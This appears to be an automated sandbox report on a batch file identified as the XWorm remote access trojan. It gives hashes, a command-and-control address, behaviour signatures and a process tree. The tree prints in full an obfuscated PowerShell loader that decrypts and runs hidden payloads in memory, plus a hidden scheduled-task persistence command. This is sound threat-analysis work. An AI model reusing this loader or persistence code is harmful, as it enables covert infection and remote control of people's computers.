Analysis

  • max time kernel
    99s
  • max time network
    152s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    03-11-2024 05:39

General

  • Target

    BootStrapper.bat

  • Size

    302KB

  • MD5

    e11a5d978c9f06cc301c8c44e52b4852

  • SHA1

    831ba9abea94b996c532cdada5a79bba72a391e3

  • SHA256

    d2d4ad73e3e1247c5dfa633aac6ca6e7bf0de3d0205790309759798e4bee062f

  • SHA512

    f0bcd0f568f52d2519c62486ed9b94a342ee5fcd7d52835cb5d0377a1ac8b178d8ae0bd04675dd01778291b6f36807a1c27e88497c7344e15d23fdbe792349f2

  • SSDEEP

    6144:U6j7gPgcFREzUgq4RgFmRYMkj/qUxD1p0/vb4YfrVTZJEdtnUNN4tK:rexEAglRetVf0/FfpPQnUNoK

Malware Config

Extracted

Family

xworm

C2

where-reverse.gl.at.ply.gg:9999

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    Helper.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3788
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T12zWGXOdj/4tvDynuJlkV+tGuymMWBUVvtybMhMmkU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqzRHvr7a/3jLbzoGMYIzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HESDg=New-Object System.IO.MemoryStream(,$param_var); $CUFYB=New-Object System.IO.MemoryStream; $bBWQM=New-Object System.IO.Compression.GZipStream($HESDg, [IO.Compression.CompressionMode]::Decompress); $bBWQM.CopyTo($CUFYB); $bBWQM.Dispose(); $HESDg.Dispose(); $CUFYB.Dispose(); $CUFYB.ToArray();}function execute_function($param_var,$param2_var){ $yxINq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vkmqG=$yxINq.EntryPoint; $vkmqG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat';$xRoTh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat').Split([Environment]::NewLine);foreach ($aplDG in $xRoTh) { if ($aplDG.StartsWith(':: ')) { $kYRLt=$aplDG.Substring(3); break; }}$payloads_var=[string[]]$kYRLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_229_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_229.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1804
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_229.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_229.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3448
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4344
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:1196
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T12zWGXOdj/4tvDynuJlkV+tGuymMWBUVvtybMhMmkU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqzRHvr7a/3jLbzoGMYIzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HESDg=New-Object System.IO.MemoryStream(,$param_var); $CUFYB=New-Object System.IO.MemoryStream; $bBWQM=New-Object System.IO.Compression.GZipStream($HESDg, [IO.Compression.CompressionMode]::Decompress); $bBWQM.CopyTo($CUFYB); $bBWQM.Dispose(); $HESDg.Dispose(); $CUFYB.Dispose(); $CUFYB.ToArray();}function execute_function($param_var,$param2_var){ $yxINq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vkmqG=$yxINq.EntryPoint; $vkmqG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_229.bat';$xRoTh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_229.bat').Split([Environment]::NewLine);foreach ($aplDG in $xRoTh) { if ($aplDG.StartsWith(':: ')) { $kYRLt=$aplDG.Substring(3); break; }}$payloads_var=[string[]]$kYRLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2260

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        3eb3833f769dd890afc295b977eab4b4

        SHA1

        e857649b037939602c72ad003e5d3698695f436f

        SHA256

        c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

        SHA512

        c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        391ff5577f782c598c4d21a9f6da0f68

        SHA1

        ccd5f033a852026c7aacbffe03798a0b5cd0a99e

        SHA256

        b58c0a1126d3fa5a60ac9ec9d8247318d85510043e18c924151ef03f8e89b136

        SHA512

        d686b493465ef73765f1fe83881c08351ad00092c39a86806bd1f7b7885407cb6366b1398ae8f79827615f31a3f97576abe297981d8bf03e7379985e84d7db38

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_muc2c0pt.0jk.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_229.vbs

        Filesize

        115B

        MD5

        5c21d86439b5ca6c94a82fcfd74147f3

        SHA1

        1a6b62869a5e94f09f452def99482afb67db1847

        SHA256

        ae5763379b589e07a6ee08fe96d809209bcca2108a3d0e90869cce8593aaf8d3

        SHA512

        48cc1d528ac4185fc2c5a4172072af5dfe1e8a4cc1d79d3d5a3982274740d8a58de9dd6a943979459eb736e9b46acf71d5080038ca7ebd3504574ccf0b977f1d

      • memory/1804-26-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/1804-27-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/1804-31-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/1804-28-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2028-0-0x00007FFB78DD3000-0x00007FFB78DD5000-memory.dmp

        Filesize

        8KB

      • memory/2028-13-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2028-15-0x000001F982690000-0x000001F9826CA000-memory.dmp

        Filesize

        232KB

      • memory/2028-14-0x000001F982680000-0x000001F982688000-memory.dmp

        Filesize

        32KB

      • memory/2028-12-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2028-11-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2028-6-0x000001F9E5420000-0x000001F9E5442000-memory.dmp

        Filesize

        136KB

      • memory/2028-41-0x00007FFB78DD3000-0x00007FFB78DD5000-memory.dmp

        Filesize

        8KB

      • memory/2028-42-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2028-43-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

        Filesize

        10.8MB

      • memory/2260-54-0x000001A4C1B00000-0x000001A4C1B1A000-memory.dmp

        Filesize

        104KB